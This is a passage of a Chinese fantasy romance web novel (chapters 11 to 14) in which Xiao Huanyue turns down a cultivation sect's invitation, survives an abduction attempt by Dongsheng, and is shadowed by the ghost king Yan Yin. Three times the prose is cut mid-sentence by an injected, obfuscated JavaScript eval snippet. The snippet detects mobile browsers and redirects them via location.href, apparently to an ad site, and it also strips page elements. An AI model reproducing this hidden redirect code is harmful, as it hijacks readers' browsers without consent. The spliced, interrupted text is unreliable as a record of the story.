“宁愿在外面饿肚子吃那些清汤寡水,也不回家。”云婉在她眉心一点,“你这丫头,真是有主意!” 萧唤月眨着眼睛卖乖,“这不是斋期一满我就回家来了嘛,一晚也没多待。” “觉得还是家里好?” “那当然了,寺里的东西不好吃,天天念经做事,心是静下来了,人倒瘦了一圈......” 这话纯属瞎说,但云婉很自然地信了,再顾不上假装生气,揽着女儿心疼道: “明天娘亲自下厨,给你做好吃的。” “好!” 云婉还在念叨:“唉,不吃肉怎么能行呢,乖女,以后你别去那儿了吧?或者带娘一起去,我偷摸给你开小灶。” 萧吟山终于找到机会插嘴:“也带爹去,我倒想瞧瞧寺里有什么好,让我家女儿流连忘返......” 云婉没好气:“你又凑什么热闹,全都待在家里才是最好!” 萧唤月点头如捣蒜:“不去了不去了。” 半个时辰后,雪眉过来说洗澡水已经备好,小厨房里白鱼肉也在炖着,小姐洗完出来刚好能吃上。 “那我去洗啦,爹娘你们先睡!” 萧唤月怕说多错多,趁着雪眉打岔的机会,赶紧同爹娘道了晚安,轻手轻脚替他们关上门,才总算松了口气。 她可没有去寺庙里生活过,要是爹娘问起相关的生活细节,那不得露馅! 云婉和萧吟山笑着说好,催她早些弄完休息。 然而两人再次熄了灯,躺床上眼睛一闭,却睡不着了。 “我觉得女儿有事瞒着咱们。”云婉语气似乎有些伤感,“吟山,你觉得,我该问到底吗?” 萧吟山:“女儿大了有秘密,这正常。” “是,是,咱们这些老东西,多问也是讨嫌。” 云婉在床上翻来覆去,过了会儿,又道:“可我就是忍不住想,月儿这段时间真待在寺庙里吗?我以前可从没听说过斋期不让家人进寺探望的规矩。” 萧吟山:“别多想,兴许她同朋友出远门去玩儿了一阵,怕咱们担心,所以让寺里的僧人替她们打掩护。” “可是......也不该说走就走。想要出去玩,告诉咱们一声,你我还能拦着不让去吗?反倒是这样一声不吭跑了,才叫人担心。”云婉忧心道,“反正我就是觉得这事不对劲。府里丫头偷摸告诉我了,说月儿走之前跟着一个戴青铜面具的女人去吃茶……这女人若真是月儿的朋友,她怎么不替我们引见引见?唉,我这心里,总是不踏实。” 另一头舒舒服服泡着澡的萧唤月,全然不知那些自以为天衣无缝的话术,已经被玲珑心思的老娘看出了破绽。 她攀着木桶壁发呆,湿透的长发被随意拨在肩侧。 水面热气弥漫,她的脸蛋被蒸得红扑扑的。四肢百骸似有暖流涌过,连夜赶路的疲惫感都被这股暖流驱散了,她舒服得想在浴桶里睡一觉。 家里真好啊……萧唤月眯着眼感叹。 * 翌日,萧唤月赖在床上,毫无负担地睡到日上三竿才起来。 打着哈欠推开门,扑面而来的阳光令她不得不张开手指挡住眼睛,以适应光线亮度变化。 维持住这个姿势,她站在原地醒了会儿瞌睡。 同时她迷迷糊糊地思考着,从昨晚开始,就觉得自己好像忘了什么事情。 是什么事情呢…… 半梦半醒之际,不知哪里传来一声:“早上好啊——” 语调又轻又凉,尾音拉得长长的,不像是在早安问好,倒像是青天白日下有鬼魂索命来了。 萧唤月循声望向房檐,看到那熟悉的少年身影,顿时一个激灵,瞌睡消失无踪影。 言隐抱怨:“我来找你玩,但你一直在睡觉,害我在房檐上等了好久。” 身为鬼王,真实年龄应该已经不小了,做事总没个正形不说,看起来玩心居然比她还重……萧唤月默默抬头,与言隐对视半晌。 莫非是离世过早,人情世故接触得不够多,没来得及变成圆熟稳重的大人就一命呜呼了? 死后估计也没工夫去培养心计城府——因为从言隐之前的描述听来,鬼域听起来几乎就是个血腥混乱的游乐场,大家热衷于玩你杀我我杀你的游戏,好似比活着的时候还要豁达了许多。 一直保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14206661|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持着这般少年心性......多半是英年早逝啊。萧唤月这么想着,心里倒生出几分怜悯来。 她柔声道:“下来说话吧。” 言隐很听话地:“哦。” “你想玩什么?” 他爽快道:“都可以。” 反正他又不是真来玩的,只是想创造跟萧唤月相处的机会。 经他判断,目前而言增加好感度最稳妥的方法就是陪伴。 言隐连日来坚持不懈地在攻略对象身边打转刷脸熟,并不是白费力气——时至现在,萧唤月对于他的突然出现已经波澜不惊了,这就是相当可贵的进步,说明她正在习惯他的存在。 好感度数值也稳稳涨到了十八点,令言隐十分欣慰。 并且他还从系统处得知,在攻略进度条达到一定数值的时候,系统会发放额外积分奖励,用于兑换系统商城内的物品。 可惜他现在没权限查看商店面板,不知黑心系统会上什么货。 百分之三十,百分之六十,百分之九十。这三个数值,这是系统承诺的发放积分奖励的阶段点。 若萧唤月对言隐的好感值再提升十二点,他就能得到打开系统商城的权限了。但好感度越往后越难涨,他感觉自己像头被萝卜吊着走的驴,偏偏他还就吃这一套。 开玩笑,以前玩网页竞技小游戏他都得拿满图鉴,区区百分之三十的进度条他还能拿不下了? 可是......靠着这种无所谓的陪伴,好感度最多能上涨到什么地步?言隐心里有些没底。 百分之百的进度条肯定不是那么容易达到的,就连他自己也没有多真心实意地爱过什么人,情之一字,纸上谈兵罢了。 完全想象不出,好感度进度条拉满,会是何种程度的倾心。 他一直怀疑各类书剧影片中,对有情人的描写有夸大其词的成分。毫不相干的两个人,怎么就能爱到食不下咽死去活来,爱到愿意为了对方放弃一切呢? 真是奇了怪了,再爱,那也是别人,不是自己。对于自己以外的人,真能这么上心么? “不是说要玩?”萧唤月伸手在他眼前晃了晃,“怎么发起呆来。” “哦......我在想该玩什么。” 萧唤月失笑。心想他看起来不像是个有心眼的,可行为动机又总是令人捉摸不透。嘴里说着要跟她玩,结果一眨眼的工夫就能走神走到天边去。 “那你可以继续想。”她熟练地打发起他,“我要去吃点东西,你先随便转转?” “不要,这里没什么好转,我跟你一起去。” “那样你会跟府里其他人碰上面的。” “碰上就......你就说我是你朋友。” 萧唤月无奈摇头,此法不可行。 言隐常常“直”得过了头,少有说话迂回婉转的时刻,对于谎言的艺术更是知之甚少。这一眼就能被看穿的拙劣谎话,亏他好意思提出来。 她无力道:“你跟着去真的不太方便......待在房间里等我回来如何?” 言隐一听可以进房间,立马被顺毛:“好。” 在前些日子的相处中他已经发现,萧唤月挺看重私人空间,如今肯主动邀请他进去坐一坐,是不是关系更进一步的意思? 其实萧唤月是怕言隐一直待在外面会被人看见才出此建议,话刚说出口就有点后悔,但想要把话收回去已是不可能。 她走出几步,不放心地回望了他一眼,决定速去速回。 “放心啦。”言隐懒洋洋地冲她挥手,“我不乱动你东西,不坐你床,也不弄脏你房间。” 12. 第 12 章 现在还没到饭点,萧唤月准备去小厨房随便拿几样糕点回房吃,没想到厨子很贴心地在锅里给她煨了鸡汤,就等她醒了来喝。 于是她就坐在灶台前的小凳子上把那碗鸡汤喝完了,嫌不够又添了一碗。 这种吃了睡睡了吃的生活太惬意了,除了家里,还有哪里能让她这么安心地躺平当咸鱼? 吃完喝完一抹嘴,她想,这味道就算比起宫里也差不到哪去。 宫里......想到这关键词,她一拍脑袋:“对了!”在宫里生活的最后一天,周启域来找过她,神秘兮兮地说她好事将近。 怪不得她一起床总觉得忘了什么,睡前她就在想这件事! 她猜那件好事是指监正曾说的“皇帝会赏赐你金银珠宝,布匹缎绢,以作为你提供重要线索的的嘉奖。” 萧唤月琢磨着,周启域身为皇帝不能言而无信吧,说好的赏赐到底什么时候送来? 好在这事没让她苦恼太久。 回房路上她碰到了雪眉,对方瞧见她,惊喜地“啊”了一声,急忙就要带她去前厅:“小姐,我正要去你房间找你呢。” 萧唤月一愣,第一反应是庆幸自己在半路截到了雪眉,否则雪眉进房间只能跟言隐大眼瞪小眼。 “什么事?” “有客人来。”雪眉喜形于色,“说是要给小姐你送东西......送了好多箱,全都是值钱的家伙!” 萧唤月闻之精神一振——来了! 前厅,萧家夫妇在右,客人在左。中间空地上摆了几个箱子,那是客人说要送给萧唤月的“礼物”。 萧吟山嘴皮笑得有点僵了。他实在搞不懂这位客人什么路数,看起来不像是送礼,倒像是来下聘。 一箱箱真金白银,晃得萧吟山眼疼。形势过于蹊跷,他没敢收这不明之财,只吩咐丫鬟赶紧取最上等的茶叶来泡,别怠慢了贵客。 “爹,娘!”萧唤月提着裙子,急匆匆一路跑过来,气儿还没喘匀,就冲云婉使眼色:可以收,可以收! 提供了关键线索还被关了那么久,这些补偿是她应得的! 那位客人见她来,笑吟吟站起身,温声道:“萧姑娘。” 长身玉立,白衣胜雪,竟是个难得一见的貌美公子。萧唤月在宫里没见过这号人,一时不知该怎么称呼。 客人很及时地补充道:“在下昭意。” “原来是昭公子。”萧唤月看他像在看财神爷,眼神越发和蔼起来,笑容也是情真意切,“有失远迎。” “都是梁小姐托我将这些送来的。”昭意朗声道,“她很感谢你,愿意陪她去吃斋,这些是她一点小心意。” 萧唤月立时领会,他口中的“梁小姐”,一定就是指花梁燕了。 “月儿。”云婉过来挽住她的手,“你结识了这些朋友,怎么不早同我们引见。那位梁小姐,是十燕城中人士吗?找个机会,该请她到我们家坐坐。” 萧唤月讪讪:“她不是本地人,怕生......” “这些礼物太贵重,我们怎么好收。”云婉放低了声音。 “没事的。”萧唤月同她咬耳朵,“她家十分富有,惯爱以财会友。” 昭意向萧唤月走近几步:“虽然在下这趟只是替人跑腿,但也想借此机会,同萧姑娘留个好印象。” 萧唤月看向他,思考了两秒,露出恍然大悟的神情。 她不动声色地走到昭意身边:“莫非我们今后会经常见面?是监......梁小姐还有什么事么。” “姑娘误会了。”昭意摇摇头,“我并不是梁小姐府上的人,不久之后,我就要回丘山了。” 丘山?那不是玉胥宗的大本营吗。 萧唤月顿悟,看来这位昭公子是监正请来的修士......怪不得装扮这么素净,不像官家公子,倒清逸似谪仙。 “仙长。”她换了个称呼,小心翼翼看他一眼,慢慢道,“既然如此,以后我们应该不会再有交集了。” “为何这么说?”昭意脸上显出惊讶,以为自己的来意被看穿,“姑娘无意踏入修仙一途吗?” 萧唤月的眼神呆滞了一瞬:“我,不是......” 他什么意思?? “姑娘灵性异常,根骨奇佳,是适合修仙的体质。”说到这里,昭意看了看目瞪口呆的萧家夫妇,“在下此次前来,只为作一个邀请。姑娘如果不愿意,我绝不强求,人各有志,各取所好。” 萧氏夫妇愣愣站在一旁插不上嘴。 云婉不安地看向女儿。从小到大月儿的衣食住行都由她一手操办,她自诩是最了解女儿的人,连萧吟山都比不上。但在她看不见的地方女儿认识了新朋友,似乎还有了一些无法与她分享的秘密。她劝慰自己,女儿长大了,这都正常...... 但不知何时,女儿甚至搭上了玉胥宗的人脉。 玉胥宗,是修仙问道的地方。 对于云婉这种小老百姓来说,那就跟天上的月亮没区别,遥远到只能窥见它模糊的影子。 而现在,玉胥宗的仙人就这么走进他们萧家的门里来了,带来这么多金银财宝,又主动对女儿示好,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14206662|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她“根骨奇佳”,是在邀请女儿入修仙界寻道吗? “月儿。”云婉心里发慌,忍不住揽紧了女儿,附在她耳边道,“这位仙长真是丘山来的?会不会是骗子。” 萧唤月轻轻捏了捏云婉的手腕:“娘放心,我来跟他说。” 昭意又恢复了那副云淡风轻的样:“姑娘意下如何?当下不能做出决断的话,大可以好好考虑一段时间,我会在城中再逗留几日,等待姑娘的答复。” “仙长,你认真的?”萧唤月蹙眉。“你在邀我入宗门修仙——确定是这个意思没错么。” 昭意就差发誓了:“绝不敢拿姑娘做消遣。” 萧唤月眼中带上了一丝怀疑,昭意是大宗门弟子,难道不知道里云宫那件事?她记得东生说过,白江宫主同各修仙门派通过气,不让他们收她为徒。 转念一想她又释然了,这种事情哪适合广而告之,估计只有高层长老知情。 她试探道:“我上山之后,直接就能成为玉胥宗弟子吗?” “需要先由长老们评定资质。”昭意见她松口,连忙道,“但你放心,不过是走个流程罢了,以姑娘的资质,这一关绝不会有问题。” 萧唤月心情复杂,自嘲地笑了笑,有种被学校注销学籍后又接到清华北大招生办电话的无力感。 “仙长,我不行。”她艰难开口,“不行的。” “为什么?”昭意以为她是不自信能通过资质测试,鼓励道,“你可以。” 萧唤月轻轻挣开云婉的怀抱,缓步走到板壁前,背对众人,看起来一副不愿多说的样子。 但她侧目看了昭意一眼。 这小动作很不明显,昭意却立即会意,不着痕迹地挪了几步,靠近萧唤月。 知道修仙之人耳力好,萧唤月刻意把声音放得极低,“仙长,你不妨先回山,去征求宗门长老的意愿,我相信他们不会愿意我踏入仙途的。” “怎么会......” “你大概不知道个中细节。”她有些烦躁,“你就问他们,愿不愿意让白江的女儿入宗门修仙?” 不用想,答案一定会是否定的。能不能成为玉胥宗弟子,这根本不取决于她。 “白江......”昭意的表情看起来很迷茫,看起来对当年的事确实不知情,“里云宫的那位?” “是。” 说完这些,萧唤月回头看向父母,冲他们安慰似的笑了笑。 她恢复到正常声量,一字一句道:“谢谢你的好意,仙长。”随即极轻地摇了摇头,“但是我不能跟你走。” 13. 第 13 章 东生捂着腹部堪堪快要裂开的伤口,手脚并用地翻过院墙。 他已经没法做到轻巧落地了,一声闷哼,面朝下摔倒在地,好不狼狈。这一举动让他大腿上的创口重新崩裂,血染红了裤腿。 此刻他犹如一个浑身都在露棉花的布娃娃,任何大动作都有可能让他伤上加伤。 他在无人的山洞里静养了好几个月,耗用了不少天材地宝,也只能养到这种程度。 这具□□已经到极限了,自愈能力近乎没有,寻常人身上两天就能养好的伤,他要花费数月时间。想等这一身伤消失殆尽,更不知要等到何年何月。 他实在不放心萧唤月独自一人待在十燕城,决定回来看一眼她。 拖着步子来到萧唤月的房间外,他看见窗户大开,一只风铎轻轻摇曳。 窗沿处探出一只骨节修长的手,随着风铎摇曳的节奏,一叩一叩,似在弹奏一首无声的乐曲。 东生暗嘲自己多心,萧唤月好端端地待在家里,怎么会有事,枉他大老远跑这一趟。 想来危险和机遇并未在他离开的这段时间里造访过萧唤月,她依然是那个大门不出二门不迈的富家小姐,生活单一又无趣,天天在家陪养母消遣时间,连个手帕交都没有。 他宽下心来,犹豫着要不要过去打个招呼,还是直接离开。 思考的这几秒钟,他又往窗边走了几步。视野因此更加清晰起来,他注视着那只手,心里忽然升起疑问——萧唤月的手指,有这么长? 他缓缓地向那处靠近,动作放得极轻,没有出声叫萧唤月的名字。 好像是只男人的手...... 脑中刚涌出这一猜测,他就感到呼吸困难,全身的血都冲到脑门上——因为那只手上一刻还在敲击着舒缓的节奏,下一刻就毫无征兆地暴起,掐住了他的脖子。 “松......松开。”他使劲拍打着那只手的手背。可受了这么重的伤,他气力不足,无法挣脱。 目光一转,东生看到了一张陌生的,少年人的脸。 那双眼睛埋伏在阴影中,一瞬间东生以为是什么山精鬼魅——实在太不像活人了,简直是黑暗中窥伺着过路人的毒蛇,毫不留情地绞住了他,然后思考着应该在哪里咬上一口。 少年稍稍松了力道,声音听起来意外地轻柔:“谁?” “你又是谁?”东生反问。 “你管不着。”言隐强调,“现在是我在问你。” 刹那间东生脑中闪过无数念头——这个来路不明的少年是谁?萧唤月新交的朋友,还是情郎?又或许只是个擅闯闺房的不速之客? 东生手上也有伤,血液顺着小臂流到肘尖,向下滴落。 言隐眼疾手快地接住那滴血,手心绽开一朵碎裂的血花。好险好险,差点就要弄脏萧唤月的窗台,他可是保证过不会弄脏房间的。 为避免这种情况再次出现,他干脆翻出窗外,站在了外面的空地上。做这动作的时候他始终空出一只手,牢牢制住东生。 东生戴着覆面的黑巾,又穿了一身夜行衣。因着这身行头,言隐方才差点误会他是想入室行窃的小偷。 东生眼神里带上了敌意:“你跟萧唤月是什么关系,为什么在她房间里?” 言隐答非所问:“原来你认识萧唤月啊。” “......” 言隐:“你是来找她的?” “你受了很重的伤。”言隐观察到他身上遍布的血迹,“不去医馆,找萧唤月有什么用?她又不是大夫。你跟她很亲近吗。” 没等东生回答,他又自言自语:“应该是很亲近,你一来就找到她的房间,目标明确。” “是,我是她很重要的人。”东生呼吸不畅,艰难地吞咽口水,“你最好马上松开我,不然等她回来看到......” 言隐目光冷下来,打量着他,并没有松手。他好似有些为难,目光从左转到右,像是在判断东生话里的真实性。 “她喜欢你吗?”言隐问。 东生让他问得发愣,不知所云,正思考着该怎么回复这问题,就听言隐喃喃道:“算了。” 听到这两个字,东生心头一松,以为男人终于要放开他。 没想到言隐接着道: “你还是去死吧。” 说这话时他眼里毫无憎恶厌烦之意,漠然得像在同对面的人商量中午吃什么。 东生心中骤然升起一股毛骨悚然之感,牙齿发酸。他意识到男人不是在吓唬他也不是在开玩笑,当即决定奋力一搏,反手扭住男人的手腕,榨出残余的内力,灌入男人腕处的经脉。 这足以让普通人经脉爆裂的攻击,用在言隐身上,却好似泥牛入海。他的手依旧紧紧扣住东生的脖子,颈骨咔嚓一声响,似乎下一刻就要断裂。 言隐的想法很简单,萧唤月不能喜欢别人,最好连这种可能性都断绝掉,一有类似的苗头就扼杀在摇篮里。 手指动一动,永绝后患。 “言隐!” 女孩平地惊雷一声吼,震得言隐浑身一僵,动弹不得。 慢慢扭头过去,看见萧唤月正朝这边跑来。 言隐眉心一跳,立马松手,像干坏事被发现的小学生,掩饰般把手背在身后,心中涌起无限后悔......可恶,早点掐死那个男的就好了,跟他说那么多话干什么! “我没伤他。”言隐先发制人,急速推脱责任,试图撇清关系,“他身上这些伤口,来的时候就有了,不是我干的!” 东生像是落了枕似的,歪着头斜眼看人。他现在脖颈又疼又僵,连带着肩膀都使不上劲儿,多半是颈椎骨折了。言隐要是继续用力,断掉的绝不止是颈骨而是他整个脑袋。 劫后余生的庆幸感令东生腿一软,扶着墙才没有摔倒在地。东生不明白言隐怎么好意思装无辜,有眼睛的人都看得出来刚刚他是想置人于死地。 察觉到言隐在萧唤月面前变得束手束脚,东生谨慎地退到她旁边,压着火气质问言隐: “无冤无仇,你为何出手杀我?” 大概觉得自己刚才那行为太明显,言隐这回总算没有狡辩,心虚地偏过头去,沉默了片刻,才模棱两可地回答他:“我觉得你看起来很危险,不是好人。” “真的。”言隐向萧唤月告状,“他一来,就鬼鬼祟祟往你房间走,还浑身是血,多可疑。” 萧唤月看向东生:“身上的伤怎么弄的?” “......与你无关。” “你走的时候我问你要去哪,你也是这么回答我。”萧唤月平静道,“我还以为你不会回来了。” “遇到了点意料之外的状况,我需要时间养伤。” 萧唤月打量他:“看来是没有养好。” “是啊,旧伤未愈,又添新伤。”东生冷笑,心里气得要冒烟,这副身体本就已经残破不堪,现在状况更加严重了! 但东生很清楚,目前的自己太过虚弱,打起来讨不了好。几个深呼吸后,他垂眸敛去情绪,心想有朝一日,定要把今日所受的屈辱加倍讨回来。 “他不是凡人。”东生指着言隐,问萧唤月,“是修士吗?你从哪里认识他的?” 萧唤月:“与你无关。” 东生一噎:“你……” “快去找地方养伤吧。”她有些心不在焉,“拖久了不好......对了,要我借你点钱么?” “用、不、着。”东生瞪她。 “也是,凡人的医馆应该很难治你这一身伤。你们修仙的另有疗伤手段,我就不多打听了。” 萧唤月敷衍关怀了两句,眉眼中透出一丝疲惫。 东生的突然造访并没调动起她太多情绪,因为她心里现在还想着昭意的话。 在她摊牌婉拒了昭意的邀请后,后者实心眼地表示一定要回去问问长老们这究竟是怎么回事。 她知道问了也白搭,心中却可耻地生出一丝期待。 当然,这事她没准备告诉东生。 东生将她的心不在焉都看在眼里,离开不过几个月,他却觉得她好像变了很多。 隐隐感知到事态超出了掌控,他有些忐忑。收起了傲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14206663|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢姿态,他软下语气:“跟我说说这段时间发生了什么事。”话毕两秒,又斟酌着补了个问句,“——可以吗?” “没发生什么大事。”萧唤月回答得很果断。 “那你怎么会认识他。”东生有些急了,他看出她有所隐瞒。 萧唤月逃避着东生的目光,低声道:“里云宫连我的交友自由也要干涉吗?” “你爱交什么朋友我管不着,但他不是普通人,你不能......” “不能什么。”她打断他,“不能接触那些古怪离奇的东西?不能肖想更强的力量?。” “是。” “连窥探一眼都不可以?” “不可以。”东生语气坚定,“你不能走到不属于你的路上。” 沉默了两秒,萧唤月道:“东生。” “嗯。” “我前些日子一直在回忆。” “回忆什么?” “那则预言的内容。” 东生心中一紧:“你能忆出什么,当时你还是个婴儿。当年那些事情都是我转述给你的,如果你想听,我可以再说一次。” “但我确实记得小时候的事,你就当我天赋异禀好了。”她缓缓地道,“我记得那则预言说双生子降生是不祥之兆,若不断掉兄妹缘分,就会招致厄运......或许有点偏差,但大概意思是这个没错。” 东生:“所以?” “明明预言没有表示过我不能修仙。”她问出了一直以来的疑虑,“为什么里云宫自作主张,不肯让我踏入仙途?如果他们谨慎至此,不允许我与那位少主共处一片天地,那为什么不在我一出生的时候就把我杀掉。” 语气里没带什么情绪,仿佛只是单纯为此事而感到疑惑。 东生却被问住了,眼中闪过一丝痛色,慢慢低下头去,轻嗤一声: “你翅膀硬了。” “这话说的,”萧唤月抬眉,面上拂过微不可查的笑意,“好像你是我的长辈似的。” “你算是我看着长大的,说我是你长辈也无可厚非。”东生叹息,“以前你从不好奇这些事,也不会跟我顶嘴。” 萧唤月耸肩:“以前我们根本没说过多少话,当然没有太多顶嘴的机会。” 言隐站在旁边看看这个又看看那个,心中了然——看起来这两人关系也没那么好!针尖对麦芒啊简直。 他有了底气,趾高气昂走过去,状似无意地用肩膀挤开了东生。 对于萧唤月的身世秘辛,言隐知之甚少。原书中可没有她被送养到十燕城这一茬,她本该叫白月,生来就是修仙世家大小姐,面前是宽阔的康庄大道。 她被送养离宫的那一刻,正如蝴蝶扇动翅膀引起风暴,一步错步步错,事到如今剧情都偏移到姥姥家了,很难说原书剧情还能有几分参考度。 从萧唤月和东生的对话中,言隐大致推测出了当年的事情经过。听起来萧唤月似乎有个亲哥哥......原书里有这个角色么? 言隐暗自决定要抽个时间把原著剧情通读一遍,此前他讨巧犯懒,只大致了解过跟萧唤月有关的戏份,对其他人物相关的剧情是一点儿没上心。 他想了想,附身在萧唤月耳边道:“你想回里云宫吗?” 萧唤月摇头。 “好吧。”言隐本想说,可以杀了她哥,取而代之。 东生突然道:“还有一条路你可以走。” 萧唤月:“什么?” “跟在我身边。”他认真道,“你觉得一成不变的生活无聊,我可以带着你走南闯北。” “去哪里?” “这由我决定。”他目光沉沉,仿佛这已经是他能做出的最大让步,“萧唤月,你只需要跟在我身边。不用费心去思考什么。我准许你做的事你可以去做,我不让你做的事,就别去做。” 言隐紧张兮兮地挡在萧唤月面前:“不行不行,她不走。”她要是跟别人跑了,他还攻略个鬼啊。 他回头偷偷观察萧唤月,幸好后者不为所动,连脸上表情都没变,似乎对这个提议不感兴趣。 14. 第 14 章 东生恶狠狠地看向言隐,恨不能用目光剐他千万遍,声音几乎是从牙缝里挤出来:“......这不关你事,我在问她。” 淡淡的血腥味浮在空气里,那是东生身上的味道。萧唤月默不作声地吸了吸鼻子,有那么一瞬间她在思考这提议的可行性。 东生似乎认为“不用费心思考什么”是个极具诱惑力的条件,但她不这么认为。 于是她很快给出了答复:“不。” 风铎乍响,日头高照。 艳阳之下暗流涌动,目光交汇,恍若无声的对峙。 萧唤月的呼吸重了些,睫毛的阴影落在她脸颊上,微微颤动。在无人看到的角落里她抓皱了裙摆,但面上仍一片坦然。 注视着东生,她重复:“不。” “阿月,你太不安分。”东生悲戚地摇头,字字重音,看起来对她的决定感到十分失望。“当富家小姐不快活吗?里云宫对你的期望就只有这点而已。” 她不肯被束缚在家宅之中,也不肯被他绑在身边。那她究竟想如何? 为什么她开始向往外面的世界了?东生惶恐,明明他才离开了几个月啊。这段时间一定发生了什么事,他不得而知。 东生的神色柔软下来,无奈地笑了笑,伸出一只手,似乎在表达自己的让步:“好吧,如果你想。” 剑拔弩张的氛围感陡然消失。 萧唤月抿了抿唇,看着东生示弱的样子,心中升腾起一丝微妙的愧疚。如果可以,她也不想和东生闹太僵。 她一直没忘记,小时候落水,他救过她一次。 “东生,我没想让你难做,只是希望在预言以外的范围,里云宫不要过多干涉......” 在这关头,东生伸出的那只手抓住了她的手腕。 阳光下他眉眼带笑,却无端显得瘆人:“好啊。” 现在他是很虚弱,连御剑都做不到。但他愿意破釜沉舟,用尽手段去赌一个能带走她的机会。 萧唤月试着抽出手腕,可疼痛令她难以自控地颤抖起来,仿佛无数细针扎进手腕,流入四肢百骸。 这正是东生想要的效果:一击让她失去行动能力,然后强行带走她。 一股强烈的失重感袭来,萧唤月视野蓦地变矮,整个人被拉入地下,一切只发生在转瞬之间。 她看到言隐向她伸出手,但她没有力气抬手去够。 她咬牙运气,体内灵气激荡。那股不属于她的“气”顺着经脉游走,却被她强行压制,收纳进了丹田,如同江河汇入大海,消弭无踪。 那股针刺般的疼痛也随之减弱,她再度拥有了身体的支配权,立马伸手绷直了指尖,想要抓住言隐。 千钧一发之际言隐终于够到她的手指,猛力一拉。 两股不同方向的力同时作用于萧唤月的身上,她觉得自己就像拔河时候用的那根绳子,绳子两端的人都牟足了劲拉,谁也没管绳子的死活,只想夺得这场力量游戏的胜利。 最终是东生气力不足,遗憾地选择了放弃,但他已先一步遁入地下,转瞬间便逃之夭夭了。 言隐惊奇道:“是地行术。” “先......先把我拔出来。” 萧唤月此时还有半个身子被埋在地里,一只手撑在地面,纤细的腰身被泥土箍得动弹不得。 言隐哦了一声,半蹲下来,使用拔萝卜的手法,双手抱住她的腰背,刚要往外拔,又听见她一声闷哼。 “等等......太疼了。”她趴在言隐的肩膀上倒吸气,“不能硬来,把我周围的泥土扒松了再拔。” 言隐立即照做,一边还不禁感叹:“简直严丝缝合啊,你现在像是地里长出来的。” 萧唤月板着脸:“不好笑。” * 有一就有二,言隐说,东生一定还会再来,瞧着不像死心的样子。 “那只里云宫的走狗,对你态度真是古怪。”言隐在她书桌前坐得四仰八叉,犀利地点评道,“说关心不像关心,说厌恶不像厌恶......似乎只是想控制你。多烦人呐,趁他下次来的时候,杀了吧?” 萧唤月把花生嚼得喀巴响,平视前方目光涣散,半点表情没有,只有腮帮子在机械地动作。嚼完了一粒,又往嘴里扔一粒。 “杀了他还会有别人,里云宫那么多人,杀得完吗。” 言隐思考了一会儿:“不知道,但可以试试。” “......别。”萧唤月被呛得咳嗽一声,“我开玩笑的。” 但有件事情言隐没说错,东生并没有死心。 距那次袭击已经过去了四五天,萧唤月想他受伤不轻,此时应该还在忙着恢复元气。 如同埋下了一颗定时炸弹,不知东生何时会再次发难,她为此感到忐忑。曾经东生的存在令她安心,如今形势倒转,他成了危险的源头。 东生身上有许多她不了解的秘密,但东生却不允许她有秘密,他希望她的人生轨迹是透明而无害的。 如果她按照东生的意思,在世俗界停留打转一辈子,不结交任何“警戒线”以外的朋友,想必东生就再不会干涉她的自由。 ......可那样的自由能算自由么? 她郁闷地想起东生曾经还说她“根骨劣,无仙缘”。很明显,他在骗人。 “萧唤月,你看外面。”言隐的声音打断了她的思绪。 她下意识望向窗外:“什么?” “仙鹤。”言隐半个身子探出窗外,“鹤腿上还绑着信......是飞错地方了?” 那鹤很优雅地伸颈仰头,扑棱着翅膀,落在窗外的空地上。它朝萧唤月走来,曲膝用尖喙取下腿上绑着的竹筒信,放在窗台上。 见萧唤月没有反应,它又特意把信往她的方向推了推。 “给我的?” 萧唤月茫然地拿起竹筒,取出信纸。信首的确落了她的名字,但字迹很陌生。 一目十行扫了两眼,萧唤月手一抖,脸色变了变:“是昭意写给我的,他说他上山问了长老......”再往后,她有点不敢看下去。 言隐听见昭意两个字如临大敌,垮着脸凑过去,试图窥睨后续内容。 他已经听萧唤月说起过,昭意看中她的天资,邀请她上丘山修仙问道。 所以萧唤月还是和原书男主相遇了......以这样的方式。 言隐认为昭意会是攻略任务中最具威胁性的一颗绊脚石,在原书中萧唤月可是爱昭意爱到情深不能自拔,最后为他而死! 那得是有多爱啊......言隐不理解。 为了避免那个悲惨结局的发生,他必须阻止萧唤月爱上昭意,为此他甚至想过要偷摸干掉那人。然而系统义正言辞地指出,本书男主如果意外死亡,可能会引发不可预估的后果,比如世界崩坏。 于是言隐遗憾地放弃了暗杀计划,决定走一步看一步。 仙鹤还未离开,迈着两条长腿闲庭信步,似乎在等待萧唤月回信。 “里云宫从未阻止我登仙途,当年的事恐怕另有隐情...... 